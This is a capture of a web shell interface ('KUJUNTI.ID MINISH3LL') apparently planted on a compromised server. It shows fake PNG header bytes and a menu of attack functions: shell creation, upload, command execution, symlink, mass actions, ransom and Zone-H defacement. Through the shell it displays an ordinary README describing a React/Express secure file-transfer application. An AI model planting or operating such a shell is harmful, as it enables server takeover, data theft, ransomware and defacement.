\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/transfersh/SecureShareMail/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/transfersh/SecureShareMail/replit.md


# Secure File Transfer Application

## Overview

This is a secure file transfer application that allows users to upload files and share them via email with download links. The application features a modern React-based frontend with a corporate aesthetic and an Express/Node.js backend for handling file uploads, storage, and email notifications.

The application is built as a full-stack TypeScript project with a monorepo structure, separating client, server, and shared code. It emphasizes security with features like download tokens, file expiration, and pre-shared key authentication.

## User Preferences

Preferred communication style: Simple, everyday language.

## System Architecture

### Frontend Architecture

**Framework & Build System**
- React 18 with TypeScript for type-safe component development
- Vite as the build tool and development server, providing fast HMR and optimized production builds
- Wouter for lightweight client-side routing (chosen over React Router for smaller bundle size)

**UI Component System**
- Shadcn/UI component library built on Radix UI primitives for accessible, customizable components
- Tailwind CSS v4 for utility-first styling with custom theme configuration
- Custom design tokens defining a "Corporate Secure Theme" with slate and royal blue color palette
- Framer Motion for smooth animations and transitions (imported but noted as potentially removable)

**State Management**
- TanStack Query (React Query) for server state management, caching, and API communication
- Local React state for UI-specific state (forms, modals, etc.)
- Custom context providers for cross-cutting concerns (language/i18n)

**Key Features**
- Internationalization (i18n) with English and Turkish language support via custom context provider
- Pre-shared key (PSK) gatekeeper for access control
- Drag-and-drop file upload interface with progress tracking
- Email form for sharing files with recipients
- Download page for file retrieval with token-based authentication

### Backend Architecture

**Server Framework**
- Express.js for HTTP server and routing
- TypeScript for type safety across the entire backend
- Custom middleware for request logging and JSON response capture

**File Upload Handling**
- Multer middleware for multipart/form-data file uploads
- Local filesystem storage in `uploads/` directory
- Random cryptographic filenames using Node.js crypto module
- 100MB file size limit enforced at the middleware level

**Development Environment**
- Vite integration in development mode for seamless HMR
- Custom logging utility with timestamp formatting
- Configurable port (default 5000, or 5555 for local development)

**API Design**
- RESTful endpoints under `/api` prefix
- File upload endpoint: `POST /api/upload`
- Download endpoints: `GET /api/download/:token` and `GET /d/:id`
- All API responses logged with duration metrics

### Data Storage Solutions

**Database**
- PostgreSQL as the primary database (via Neon serverless)
- Drizzle ORM for type-safe database queries and schema management
- Connection pooling via `@neondatabase/serverless` for serverless environments

**Schema Design**
- `users` table: Basic user authentication with username/password
- `transfers` table: File transfer metadata including:
  - File information (name, size, mime type, storage path)
  - Security tokens for download access
  - Email addresses for sender and recipient
  - Optional message field
  - Timestamps for upload and expiration (7-day default)
  - Download count tracking

**Database Migrations**
- Drizzle Kit for schema migrations (output to `migrations/` directory)
- Schema definitions in `shared/schema.ts` for sharing between client and server
- Zod schemas generated from Drizzle tables for runtime validation

### Authentication & Authorization

**Access Control**
- Pre-shared key (PSK) authentication at the application entry point (Gatekeeper component)
- No traditional user login system implemented (authentication schema exists but unused)
- Token-based download authorization using cryptographically secure random tokens
- Tokens are 32-byte hex strings (64 characters) generated via Node.js crypto

**Security Measures**
- Unique download tokens prevent unauthorized access
- File expiration after 7 days (configurable via database)
- Download count tracking for audit purposes
- Planned support for expired transfer cleanup via `deleteExpiredTransfers()` method

### External Dependencies

**Email Service**
- Nodemailer for SMTP email delivery
- Configurable SMTP settings via environment variables:
  - `SMTP_HOST`: Mail server hostname
  - `SMTP_PORT`: Server port (default 587)
  - `SMTP_SECURE`: TLS/SSL flag
  - `SMTP_USER`: Authentication username
  - `SMTP_PASS`: Authentication password
- Email notifications sent to recipients with secure download links

**Database Service**
- Neon Serverless PostgreSQL (serverless-optimized)
- Connection via `DATABASE_URL` environment variable
- Connection pooling for efficient resource usage

**Development Tools**
- Replit-specific plugins for development environment integration:
  - Runtime error modal overlay
  - Cartographer for code navigation
  - Development banner
- These tools are conditionally loaded only in Replit environment (when `REPL_ID` is set)

**UI Component Dependencies**
- Radix UI primitives for 30+ accessible component patterns
- Lucide React for consistent iconography
- CMDK for command palette functionality (imported but may be unused)
- React Hook Form with Zod resolvers for form validation
- Date-fns for date formatting and manipulation

**Build & Tooling**
- ESBuild for server-side bundling in production
- TSX for running TypeScript in development
- PostCSS with Autoprefixer for CSS processing
- Path aliases configured for clean imports (`@/`, `@shared/`, `@assets/`)

© KUJUNTI.ID